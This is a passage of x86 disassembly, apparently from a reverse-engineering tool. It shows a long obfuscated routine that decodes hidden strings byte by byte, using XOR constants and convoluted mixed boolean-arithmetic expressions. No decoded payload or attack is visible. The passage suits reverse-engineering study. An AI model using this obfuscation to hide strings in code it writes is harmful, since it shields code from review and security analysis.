mov byte [0x101cb05e], cl
mov cl, byte [0x101cb052]
mov dl, cl
and dl, 0xc2
shl dl, 1
add cl, 0xc2
sub cl, dl
mov byte [0x101cb05f], cl
mov dh, byte [0x101cb053]
mov cl, dh
xor cl, 0xff
and cl, 0x69
mov ch, 0xff
xor ch, 0x69
and dh, ch
mov dl, 0xff
xor dl, 0xf4
and dl, 0x69
and ch, 0xf4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb060], cl
mov cl, byte [0x101cb054]
xor cl, 0xd0
mov byte [0x101cb061], cl
mov cl, byte [0x101cb055]
xor cl, 0x5b
mov byte [0x101cb062], cl
mov cl, byte [0x101cb056]
xor cl, 0x4e
mov byte [0x101cb063], cl
mov cl, byte [0x101cb057]
xor cl, 0xfc
mov byte [0x101cb064], cl
mov cl, byte [0x101cb058]
xor cl, 0x5f
mov byte [0x101cb065], cl
mov dl, byte [0x101cb059]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x9a
mov dh, 0xff
xor dh, 0x9a
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x9a
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb066], cl
mov cl, byte [0x101cb05a]
mov dl, cl
and dl, 0xf3
shl dl, 1
add cl, 0xf3
sub cl, dl
mov byte [0x101cb067], cl
mov dl, byte [0x101cb024]
mov cl, dl
xor cl, 0xff
and cl, 0x13
mov ch, 0xff
xor ch, 0x13
and dl, ch
or cl, dl
mov byte [0x101cb031], cl
mov dl, byte [0x101cb025]
mov cl, dl
xor cl, 0xff
and cl, 0x44
mov ch, 0xff
xor ch, 0x44
and dl, ch
or cl, dl
mov byte [0x101cb032], cl
mov cl, byte [0x101cb026]
xor cl, 0x57
mov byte [0x101cb033], cl
mov dl, byte [0x101cb027]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xc8
or cl, ch
mov ch, 0xff
xor ch, 0xc8
mov dh, 0xff
xor dh, 0xc8
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb034], cl
mov cl, byte [0x101cb028]
xor cl, 0x26
mov byte [0x101cb035], cl
mov cl, byte [0x101cb029]
xor cl, 0xab
mov byte [0x101cb036], cl
mov cl, byte [0x101cb02a]
xor cl, 0x58
mov byte [0x101cb037], cl
mov dl, byte [0x101cb02b]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x74
xor cl, 0xff
mov ch, 0x74
and ch, 0x74
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb038], cl
mov cl, byte [0x101cb02c]
mov dl, cl
xor dl, 0x90
xor dl, 0xff
and dl, 0x90
shl dl, 1
sub dl, 0x90
sub cl, dl
mov byte [0x101cb039], cl
mov cl, byte [0x101cb02d]
mov dl, cl
xor dl, 0x54
xor dl, 0xff
and dl, 0x54
shl dl, 1
sub dl, 0x54
sub cl, dl
mov byte [0x101cb03a], cl
mov cl, byte [0x101cb02e]
xor cl, 0x4c
mov byte [0x101cb03b], cl
mov cl, byte [0x101cb02f]
xor cl, 0x17
mov byte [0x101cb03c], cl
mov cl, byte [0x101cb030]
xor cl, 0xcf
mov byte [0x101cb03d], cl
mov dl, byte [0x101cb068]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x67
xor cl, 0xff
mov ch, 0x67
and ch, 0x67
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb073], cl
mov cl, byte [0x101cb069]
xor cl, 0x35
mov byte [str.z6M_v], cl
mov cl, byte [0x101cb06a]
xor cl, 0x31
mov byte [0x101cb075], cl
mov cl, byte [0x101cb06b]
xor cl, 0xa1
mov byte [0x101cb076], cl
mov dl, byte [0x101cb06c]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xba
or ch, 0xba
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xba
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb077], cl
mov dl, byte [0x101cb06d]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xb2
xor cl, 0xff
mov ch, 0xb2
and ch, 0xb2
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb078], cl
mov dh, byte [0x101cb06e]
mov cl, dh
xor cl, 0xff
and cl, 0xdc
mov ch, 0xff
xor ch, 0xdc
and dh, ch
mov dl, 0xff
xor dl, 0xb7
and dl, 0xdc
and ch, 0xb7
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb079], cl
mov dl, byte [0x101cb06f]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x50
xor cl, 0xff
mov ch, 0x50
and ch, 0x50
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb07a], cl
mov dl, byte [0x101cb070]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa2
or cl, ch
mov ch, 0xa2
and ch, 0xa2
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb07b], cl
mov dl, byte [0x101cb071]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf3
or cl, ch
mov ch, 0xf3
and ch, 0xf3
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb07c], cl
mov cl, byte [0x101cb072]
xor cl, 0x77
mov byte [0x101cb07d], cl
mov dl, byte [0x101cb07e]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xbb
mov dh, 0xff
xor dh, 0xbb
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xbb
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb087], cl
mov cl, byte [0x101cb07f]
mov dl, cl
xor dl, 0x9e
xor dl, 0xff
and dl, 0x9e
shl dl, 1
sub dl, 0x9e
sub cl, dl
mov byte [0x101cb088], cl
mov dl, byte [0x101cb080]
mov cl, dl
xor cl, 0xff
and cl, 0xdb
mov ch, 0xff
xor ch, 0xdb
and dl, ch
or cl, dl
mov byte [0x101cb089], cl
mov dl, byte [0x101cb081]
mov cl, dl
xor cl, 0xff
and cl, 0xcf
mov ch, 0xff
xor ch, 0xcf
and dl, ch
or cl, dl
mov byte [0x101cb08a], cl
mov cl, byte [0x101cb082]
xor cl, 0x7c
mov byte [0x101cb08b], cl
mov cl, byte [0x101cb083]
xor cl, 0x45
mov byte [0x101cb08c], cl
mov cl, byte [0x101cb084]
xor cl, 0x67
mov byte [0x101cb08d], cl
mov dl, byte [0x101cb085]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x45
xor cl, 0xff
mov ch, 0x45
and ch, 0x45
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb08e], cl
mov cl, byte [0x101cb086]
xor cl, 0xc6
mov byte [0x101cb08f], cl
mov dl, byte [0x101cb03e]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x7f
mov dh, 0xff
xor dh, 0x7f
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x7f
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb046], cl
mov dl, byte [0x101cb03f]
mov cl, dl
xor cl, 0xff
and cl, 0xeb
mov ch, 0xff
xor ch, 0xeb
and dl, ch
or cl, dl
mov byte [0x101cb047], cl
mov cl, byte [0x101cb040]
xor cl, 0xd2
mov byte [0x101cb048], cl
mov cl, byte [0x101cb041]
xor cl, 0x80
mov byte [0x101cb049], cl
mov dl, byte [0x101cb042]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
mov dh, 0xff
xor dh, 0x84
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x84
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb04a], cl
mov dl, byte [0x101cb043]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x89
mov dh, 0xff
xor dh, 0x89
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x89
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb04b], cl
mov cl, byte [0x101cb044]
xor cl, 0x30
mov byte [0x101cb04c], cl
mov cl, byte [0x101cb045]
xor cl, 0xc6
mov byte [0x101cb04d], cl
mov cl, byte [0x101cb090]
xor cl, 0x26
mov byte [0x101cb0b0], cl
mov dl, byte [0x101cb091]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
mov dh, 0xff
xor dh, 0x84
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x84
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0b1], cl
mov dl, byte [0x101cb092]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x6e
or ch, 0x6e
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x6e
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb0b2], cl
mov dl, byte [0x101cb093]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xf4
xor cl, 0xff
mov ch, 0xf4
and ch, 0xf4
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb0b3], cl
mov dh, byte [0x101cb094]
mov cl, dh
xor cl, 0xff
and cl, 0x6b
mov ch, 0xff
xor ch, 0x6b
and dh, ch
mov dl, 0xff
xor dl, 0x9a
and dl, 0x6b
and ch, 0x9a
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0b4], cl
mov dl, byte [0x101cb095]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x2e
mov dh, 0xff
xor dh, 0x2e
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x2e
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb0b5], cl
mov cl, byte [0x101cb096]
xor cl, 0xd9
mov byte [0x101cb0b6], cl
mov cl, byte [0x101cb097]
xor cl, 0xbf
mov byte [0x101cb0b7], cl
mov cl, byte [0x101cb098]
xor cl, 0x86
mov byte [0x101cb0b8], cl
mov cl, byte [0x101cb099]
xor cl, 0x88
mov byte [0x101cb0b9], cl
mov cl, byte [0x101cb09a]
mov dl, cl
and dl, 0xbd
shl dl, 1
add cl, 0xbd
sub cl, dl
mov byte [0x101cb0ba], cl
mov cl, byte [str._nXq]
xor cl, 0x6b
mov byte [0x101cb0bb], cl
mov dl, byte [0x101cb09c]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x36
or cl, ch
mov ch, 0x36
and ch, 0x36
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0bc], cl
mov dh, byte [0x101cb09d]
mov cl, dh
xor cl, 0xff
and cl, 0x2a
mov ch, 0xff
xor ch, 0x2a
and dh, ch
mov dl, 0xff
xor dl, 0xad
and dl, 0x2a
and ch, 0xad
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0bd], cl
mov cl, byte [0x101cb09e]
mov dl, cl
xor dl, 0xeb
xor dl, 0xff
and dl, 0xeb
shl dl, 1
sub dl, 0xeb
sub cl, dl
mov byte [0x101cb0be], cl
mov cl, byte [0x101cb09f]
xor cl, 6
mov byte [0x101cb0bf], cl
mov cl, byte [0x101cb0a0]
xor cl, 0x98
mov byte [0x101cb0c0], cl
mov cl, byte [0x101cb0a1]
xor cl, 0x3d
mov byte [0x101cb0c1], cl
mov cl, byte [0x101cb0a2]
mov dl, cl
and dl, 0xd9
shl dl, 1
add cl, 0xd9
sub cl, dl
mov byte [0x101cb0c2], cl
mov dh, byte [0x101cb0a3]
mov cl, dh
xor cl, 0xff
and cl, 0x20
mov ch, 0xff
xor ch, 0x20
and dh, ch
mov dl, 0xff
xor dl, 0xb9
and dl, 0x20
and ch, 0xb9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0c3], cl
mov dl, byte [0x101cb0a4]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xa1
or ch, 0xa1
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0xa1
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0c4], cl
mov cl, byte [0x101cb0a5]
xor cl, 0xb5
mov byte [0x101cb0c5], cl
mov dl, byte [0x101cb0a6]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 2
mov dh, 0xff
xor dh, 2
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 2
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb0c6], cl
mov cl, byte [0x101cb0a7]
xor cl, 0xa1
mov byte [0x101cb0c7], cl
mov dl, byte [0x101cb0a8]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xaf
or ch, 0xaf
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xaf
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb0c8], cl
mov cl, byte [0x101cb0a9]
mov dl, cl
and dl, 0xb4
shl dl, 1
add cl, 0xb4
sub cl, dl
mov byte [0x101cb0c9], cl
mov dh, byte [0x101cb1e4]
mov cl, dh
xor cl, 0xff
and cl, 0x1d
mov ch, 0xff
xor ch, 0x1d
and dh, ch
mov dl, 0xff
xor dl, 0x95
and dl, 0x1d
and ch, 0x95
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1ed], cl
mov cl, byte [0x101cb1e5]
xor cl, 0xe2
mov byte [0x101cb1ee], cl
mov cl, byte [0x101cb1e6]
xor cl, 0x1c
mov byte [0x101cb1ef], cl
mov cl, byte [0x101cb1e7]
xor cl, 0xef
mov byte [0x101cb1f0], cl
mov dl, byte [0x101cb1e8]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0
or cl, ch
mov ch, 0xff
xor ch, 0
mov dh, 0xff
xor dh, 0
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1f1], cl
mov cl, byte [0x101cb1e9]
mov dl, cl
and dl, 0xbc
shl dl, 1
add cl, 0xbc
sub cl, dl
mov byte [0x101cb1f2], cl
mov cl, byte [0x101cb1ea]
xor cl, 0x74
mov byte [0x101cb1f3], cl
mov cl, byte [str.V_n_3]
mov dl, cl
and dl, 0x3e
shl dl, 1
add cl, 0x3e
sub cl, dl
mov byte [0x101cb1f4], cl
mov cl, byte [0x101cb1ec]
xor cl, 0x2b
mov byte [0x101cb1f5], cl
mov cl, byte [0x101cb230]
xor cl, 0x86
mov byte [0x101cb250], cl
mov cl, byte [0x101cb231]
mov dl, cl
and dl, 0xfe
shl dl, 1
add cl, 0xfe
sub cl, dl
mov byte [0x101cb251], cl
mov cl, byte [0x101cb232]
xor cl, 0x56
mov byte [0x101cb252], cl
mov cl, byte [0x101cb233]
xor cl, 5
mov byte [0x101cb253], cl
mov cl, byte [0x101cb234]
mov dl, cl
and dl, 0xdf
shl dl, 1
add cl, 0xdf
sub cl, dl
mov byte [0x101cb254], cl
mov cl, byte [0x101cb235]
xor cl, 0x88
mov byte [0x101cb255], cl
mov cl, byte [0x101cb236]
mov dl, cl
xor dl, 0x9c
xor dl, 0xff
and dl, 0x9c
shl dl, 1
sub dl, 0x9c
sub cl, dl
mov byte [0x101cb256], cl
mov cl, byte [0x101cb237]
mov dl, cl
xor dl, 0xb9
xor dl, 0xff
and dl, 0xb9
shl dl, 1
sub dl, 0xb9
sub cl, dl
mov byte [0x101cb257], cl
mov dh, byte [0x101cb238]
mov cl, dh
xor cl, 0xff
and cl, 0xa8
mov ch, 0xff
xor ch, 0xa8
and dh, ch
mov dl, 0xff
xor dl, 0xf8
and dl, 0xa8
and ch, 0xf8
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb258], cl
mov dl, byte [0x101cb239]
mov cl, dl
xor cl, 0xff
and cl, 0xe3
mov ch, 0xff
xor ch, 0xe3
and dl, ch
or cl, dl
mov byte [0x101cb259], cl
mov cl, byte [0x101cb23a]
xor cl, 0x90
mov byte [0x101cb25a], cl
mov cl, byte [0x101cb23b]
mov dl, cl
xor dl, 0x73
xor dl, 0xff
and dl, 0x73
shl dl, 1
sub dl, 0x73
sub cl, dl
mov byte [0x101cb25b], cl
mov cl, byte [0x101cb23c]
xor cl, 0x3f
mov byte [0x101cb25c], cl
mov dh, byte [0x101cb23d]
mov cl, dh
xor cl, 0xff
and cl, 0x75
mov ch, 0xff
xor ch, 0x75
and dh, ch
mov dl, 0xff
xor dl, 0x45
and dl, 0x75
and ch, 0x45
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb25d], cl
mov cl, byte [0x101cb23e]
xor cl, 0x78
mov byte [0x101cb25e], cl
mov cl, byte [0x101cb23f]
mov dl, cl
xor dl, 0xe4
xor dl, 0xff
and dl, 0xe4
shl dl, 1
sub dl, 0xe4
sub cl, dl
mov byte [0x101cb25f], cl
mov dl, byte [0x101cb240]
mov cl, dl
xor cl, 0xff
and cl, 0xf1
mov ch, 0xff
xor ch, 0xf1
and dl, ch
or cl, dl
mov byte [0x101cb260], cl
mov cl, byte [0x101cb241]
xor cl, 0x2e
mov byte [0x101cb261], cl
mov dh, byte [0x101cb242]
mov cl, dh
xor cl, 0xff
and cl, 0x14
mov ch, 0xff
xor ch, 0x14
and dh, ch
mov dl, 0xff
xor dl, 0xb4
and dl, 0x14
and ch, 0xb4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb262], cl
mov dl, byte [0x101cb243]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x1f
xor cl, 0xff
mov ch, 0x1f
and ch, 0x1f
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb263], cl
mov cl, byte [0x101cb244]
xor cl, 0xa7
mov byte [0x101cb264], cl
mov cl, byte [0x101cb245]
xor cl, 0xe
mov byte [0x101cb265], cl
mov dl, byte [0x101cb246]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x30
or cl, ch
mov ch, 0x30
and ch, 0x30
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb266], cl
mov cl, byte [0x101cb247]
xor cl, 0x1e
mov byte [0x101cb267], cl
mov cl, byte [0x101cb248]
mov dl, cl
xor dl, 0x11
xor dl, 0xff
and dl, 0x11
shl dl, 1
sub dl, 0x11
sub cl, dl
mov byte [0x101cb268], cl
mov cl, byte [0x101cb269]
xor cl, 0x57
mov byte [str.n7E_], cl
mov dl, byte [0x101cb26a]
mov cl, dl
xor cl, 0xff
and cl, 0x5d
mov ch, 0xff
xor ch, 0x5d
and dl, ch
or cl, dl
mov byte [0x101cb274], cl
mov dl, byte [0x101cb26b]
mov cl, dl
xor cl, 0xff
and cl, 0xe
mov ch, 0xff
xor ch, 0xe
and dl, ch
or cl, dl
mov byte [0x101cb275], cl
mov cl, byte [0x101cb26c]
xor cl, 0x10
mov byte [0x101cb276], cl
mov cl, byte [0x101cb26d]
xor cl, 0x28
mov byte [0x101cb277], cl
mov cl, byte [0x101cb26e]
mov dl, cl
xor dl, 0x96
xor dl, 0xff
and dl, 0x96
shl dl, 1
sub dl, 0x96
sub cl, dl
mov byte [0x101cb278], cl
mov cl, byte [0x101cb26f]
xor cl, 0xf4
mov byte [0x101cb279], cl
mov cl, byte [0x101cb270]
xor cl, 0x21
mov byte [0x101cb27a], cl
mov cl, byte [0x101cb271]
xor cl, 0xbb
mov byte [0x101cb27b], cl
mov cl, byte [0x101cb272]
xor cl, 0xf5
mov byte [0x101cb27c], cl
mov cl, byte [0x101cb27d]
mov dl, cl
and dl, 0xdf
shl dl, 1
add cl, 0xdf
sub cl, dl
mov byte [0x101cb282], cl
mov cl, byte [0x101cb27e]
mov dl, cl
and dl, 0xad
shl dl, 1
add cl, 0xad
sub cl, dl
mov byte [0x101cb283], cl
mov cl, byte [0x101cb27f]
xor cl, 0x2b
mov byte [0x101cb284], cl
mov cl, byte [0x101cb280]
xor cl, 0xed
mov byte [0x101cb285], cl
mov cl, byte [0x101cb281]
xor cl, 0x20
mov byte [0x101cb286], cl
mov cl, byte [0x101cb2b0]
xor cl, 0xe7
mov byte [0x101cb2e0], cl
mov cl, byte [0x101cb2b1]
xor cl, 0x7f
mov byte [0x101cb2e1], cl
mov dl, byte [0x101cb2b2]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xb0
or ch, 0xb0
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0xb0
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb2e2], cl
mov cl, byte [0x101cb2b3]
mov dl, cl
xor dl, 0x1e
xor dl, 0xff
and dl, 0x1e
shl dl, 1
sub dl, 0x1e
sub cl, dl
mov byte [0x101cb2e3], cl
mov cl, byte [0x101cb2b4]
mov dl, cl
and dl, 0x56
shl dl, 1
add cl, 0x56
sub cl, dl
mov byte [0x101cb2e4], cl
mov dl, byte [0x101cb2b5]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd5
or cl, ch
mov ch, 0xff
xor ch, 0xd5
mov dh, 0xff
xor dh, 0xd5
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb2e5], cl
mov cl, byte [0x101cb2b6]
mov dl, cl
xor dl, 0x42
xor dl, 0xff
and dl, 0x42
shl dl, 1
sub dl, 0x42
sub cl, dl
mov byte [0x101cb2e6], cl
mov cl, byte [0x101cb2b7]
xor cl, 0xc0
mov byte [0x101cb2e7], cl
mov dl, byte [0x101cb2b8]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa5
mov dh, 0xff
xor dh, 0xa5
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xa5
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb2e8], cl
mov cl, byte [0x101cb2b9]
xor cl, 0xe0
mov byte [0x101cb2e9], cl
mov cl, byte [0x101cb2ba]
xor cl, 0x58
mov byte [0x101cb2ea], cl
mov dl, byte [0x101cb2bb]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x88
xor cl, 0xff
mov ch, 0x88
and ch, 0x88
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb2eb], cl
mov dh, byte [0x101cb2bc]
mov cl, dh
xor cl, 0xff
and cl, 0xfb
mov ch, 0xff
xor ch, 0xfb
and dh, ch
mov dl, 0xff
xor dl, 0x76
and dl, 0xfb
and ch, 0x76
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2ec], cl
mov cl, byte [0x101cb2bd]
xor cl, 0xc3
mov byte [0x101cb2ed], cl
mov cl, byte [0x101cb2be]
xor cl, 0xf
mov byte [0x101cb2ee], cl
mov dh, byte [0x101cb2bf]
mov cl, dh
xor cl, 0xff
and cl, 0x22
mov ch, 0xff
xor ch, 0x22
and dh, ch
mov dl, 0xff
xor dl, 0x47
and dl, 0x22
and ch, 0x47
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2ef], cl
mov cl, byte [0x101cb2c0]
xor cl, 0xfb
mov byte [0x101cb2f0], cl
mov cl, byte [0x101cb2c1]
mov dl, cl
xor dl, 0x4f
xor dl, 0xff
and dl, 0x4f
shl dl, 1
sub dl, 0x4f
sub cl, dl
mov byte [0x101cb2f1], cl
mov dh, byte [0x101cb2c2]
mov cl, dh
xor cl, 0xff
and cl, 0x55
mov ch, 0xff
xor ch, 0x55
and dh, ch
mov dl, 0xff
xor dl, 0x57
and dl, 0x55
and ch, 0x57
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2f2], cl
mov cl, byte [0x101cb2c3]
mov dl, cl
and dl, 0x7f
shl dl, 1
add cl, 0x7f
sub cl, dl
mov byte [0x101cb2f3], cl
mov cl, byte [0x101cb2c4]
xor cl, 0xc0
mov byte [0x101cb2f4], cl
mov cl, byte [0x101cb2c5]
xor cl, 0xa5
mov byte [0x101cb2f5], cl
mov cl, byte [0x101cb2c6]
xor cl, 0x65
mov byte [0x101cb2f6], cl
mov dl, byte [0x101cb2c7]
mov cl, dl
xor cl, 0xff
and cl, 0x74
mov ch, 0xff
xor ch, 0x74
and dl, ch
or cl, dl
mov byte [0x101cb2f7], cl
mov cl, byte [0x101cb2c8]
xor cl, 0x5e
mov byte [0x101cb2f8], cl
mov cl, byte [0x101cb2c9]
xor cl, 0xac
mov byte [0x101cb2f9], cl
mov dh, byte [0x101cb2ca]
mov cl, dh
xor cl, 0xff
and cl, 0xde
mov ch, 0xff
xor ch, 0xde
and dh, ch
mov dl, 0xff
xor dl, 0x94
and dl, 0xde
and ch, 0x94
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2fa], cl
mov cl, byte [0x101cb2cb]
xor cl, 0x6e
mov byte [0x101cb2fb], cl
mov dl, byte [0x101cb2cc]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x81
or cl, ch
mov ch, 0x81
and ch, 0x81
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb2fc], cl
mov cl, byte [str.L__5]
xor cl, 0x23
mov byte [0x101cb2fd], cl
mov dl, byte [0x101cb2ce]
mov cl, dl
xor cl, 0xff
and cl, 0x2c
mov ch, 0xff
xor ch, 0x2c
and dl, ch
or cl, dl
mov byte [0x101cb2fe], cl
mov cl, byte [0x101cb2cf]
xor cl, 0x5c
mov byte [0x101cb2ff], cl
mov dh, byte [0x101cb2d0]
mov cl, dh
xor cl, 0xff
and cl, 0x71
mov ch, 0xff
xor ch, 0x71
and dh, ch
mov dl, 0xff
xor dl, 0x35
and dl, 0x71
and ch, 0x35
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb300], cl
mov cl, byte [0x101cb106]
xor cl, 0x36
mov byte [0x101cb10f], cl
mov dh, byte [0x101cb107]
mov cl, dh
xor cl, 0xff
and cl, 0x4e
mov ch, 0xff
xor ch, 0x4e
and dh, ch
mov dl, 0xff
xor dl, 0x20
and dl, 0x4e
and ch, 0x20
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb110], cl
mov dh, byte [0x101cb108]
mov cl, dh
xor cl, 0xff
and cl, 0xf4
mov ch, 0xff
xor ch, 0xf4
and dh, ch
mov dl, 0xff
xor dl, 0xdc
and dl, 0xf4
and ch, 0xdc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb111], cl
mov cl, byte [0x101cb109]
xor cl, 0xb7
mov byte [0x101cb112], cl
mov cl, byte [0x101cb10a]
xor cl, 0xb2
mov byte [0x101cb113], cl
mov cl, byte [0x101cb10b]
mov dl, cl
xor dl, 0xf6
xor dl, 0xff
and dl, 0xf6
shl dl, 1
sub dl, 0xf6
sub cl, dl
mov byte [0x101cb114], cl
mov dl, byte [0x101cb10c]
mov cl, dl
xor cl, 0xff
and cl, 0xf8
mov ch, 0xff
xor ch, 0xf8
and dl, ch
or cl, dl
mov byte [0x101cb115], cl
mov dl, byte [0x101cb10d]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x40
xor cl, 0xff
mov ch, 0xff
xor ch, 0x40
mov dh, 0xff
xor dh, 0x40
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb116], cl
mov cl, byte [0x101cb10e]
xor cl, 0x90
mov byte [0x101cb117], cl
mov cl, byte [0x101cb301]
xor cl, 0xf2
mov byte [0x101cb306], cl
mov cl, byte [0x101cb302]
mov dl, cl
and dl, 0xe
shl dl, 1
add cl, 0xe
